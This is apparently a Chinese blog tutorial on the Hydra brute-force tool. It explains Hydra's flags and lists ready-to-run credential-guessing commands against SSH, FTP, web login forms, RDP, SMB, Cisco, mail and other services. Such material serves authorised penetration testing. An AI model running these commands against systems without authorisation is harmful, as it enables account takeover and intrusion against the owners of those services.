hydra使用體驗(yàn)

Hydra是一款爆破神器,可以對多種服務(wù)的賬號和密碼進(jìn)行爆破,包括Web登錄、數(shù)據(jù)庫、SSH、FTP等服務(wù),支持Linux、Windows、Mac平臺安裝,其中Kali Linux中自帶Hydra。

一、安裝方法如下:
wget --no-check-certificate https://www.thc.org/releases/hydra-8.1.tar.gz
tar zxvf hydra-8.1.tar.gz 
cd hydra-8.1 
./configure 
make && make install 

本次使用的是kali linux中自帶的hydra工具,以及自帶的字典

二、使用教程

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns] 
 
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT] 
 
-R 繼續(xù)從上一次進(jìn)度接著破解。 
 
-S 采用SSL鏈接。 
 
-s PORT 可通過這個參數(shù)指定非默認(rèn)端口。 
 
-l LOGIN 指定破解的用戶,對特定用戶破解。 
 
-L FILE 指定用戶名字典。 
 
-p PASS 小寫,指定密碼破解,少用,一般是采用密碼字典。 
 
-P FILE 大寫,指定密碼字典。 
 
-e ns 可選選項(xiàng),n:空密碼試探,s:使用指定用戶和密碼試探。 
 
-C FILE 使用冒號分割格式,例如“登錄名:密碼”來代替-L/-P參數(shù)。 
 
-M FILE 指定目標(biāo)列表文件一行一條。 
 
-o FILE 指定結(jié)果輸出文件。 
 
-f 在使用-M參數(shù)以后,找到第一對登錄名或者密碼的時候中止破解。 
 
-t TASKS 同時運(yùn)行的線程數(shù),默認(rèn)為16。 
 
-w TIME 設(shè)置最大超時的時間,單位秒,默認(rèn)是30s。 
 
-v / -V 顯示詳細(xì)過程。 
 
server 目標(biāo)ip 
 
service 指定服務(wù)名,支持的服務(wù)和協(xié)議:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt 
http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc 
ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec 
rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere 
teamspeak sip vmauthd firebird ncp afp等等。 
 
OPT 可選項(xiàng)

三、各種方法的使用示例

1、破解ssh: 
hydra -l 用戶名 -P 密碼字典 -t 線程 -vV -e ns ip ssh 
hydra -l 用戶名 -P 密碼字典 -t 線程 -o save.log -vV ip ssh 
 
2、破解ftp: 
hydra ip ftp -l 用戶名 -P 密碼字典 -t 線程(默認(rèn)16) -vV 
hydra ip ftp -l 用戶名 -P 密碼字典 -e ns -vV 
 
3、get方式提交,破解web登錄: 
hydra -l 用戶名 -P 密碼字典 -t 線程 -vV -e ns ip http-get /admin/ 
hydra -l 用戶名 -P 密碼字典 -t 線程 -vV -e ns -f ip http-get /admin/index.php
 
4、post方式提交,破解web登錄: 
hydra -l 用戶名 -P 密碼字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password" 
hydra -t 3 -l admin -P pass.txt -o out.txt -f ip http-post-form "login.php:id=^USER^&passwd=^PASS^:<title>wrong username or password</title>" 
(參數(shù)說明:-t同時線程數(shù)3,-l用戶名是admin,字典pass.txt,保存為out.txt,-f 當(dāng)破解了一個密碼就停止, ip目標(biāo)ip,http-post-form表示破解是采用http的post方式提交的表單密碼破解,<title>中 的內(nèi)容是表示錯誤猜解的返回信息提示。) 
 
5、破解https: 
hydra -m /index.php -l muts -P pass.txt ip https 
 
6、破解teamspeak: 
hydra -l 用戶名 -P 密碼字典 -s 端口號 -vV ip teamspeak 
 
7、破解cisco: 
hydra -P pass.txt ip cisco 
hydra -m cloud -P pass.txt ip cisco-enable 

8、破解smb: 
hydra -l administrator -P pass.txt ip smb 

9、破解pop3: 
hydra -l muts -P pass.txt my.pop3.mail pop3 
 
10、破解rdp: 
hydra ip rdp -l administrator -P pass.txt -V 
 
11、破解http-proxy: 
hydra -l admin -P pass.txt http-proxy://ip
 
12、破解imap: 
hydra -L user.txt -p secret ip imap PLAIN 
hydra -C defaults.txt -6 imap://[ip]:143/PLAIN

使用該工具時:注意指定用戶名(-l 用戶名)和指定用戶名字典(-L 用戶名字典)、指定密碼(-p 密碼)和指定密碼字典(-P 密碼字典),這兩種情況下使用的參數(shù)不同

PS:一個強(qiáng)大的字典可以解決一切問題?。。?/p>

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

友情鏈接更多精彩內(nèi)容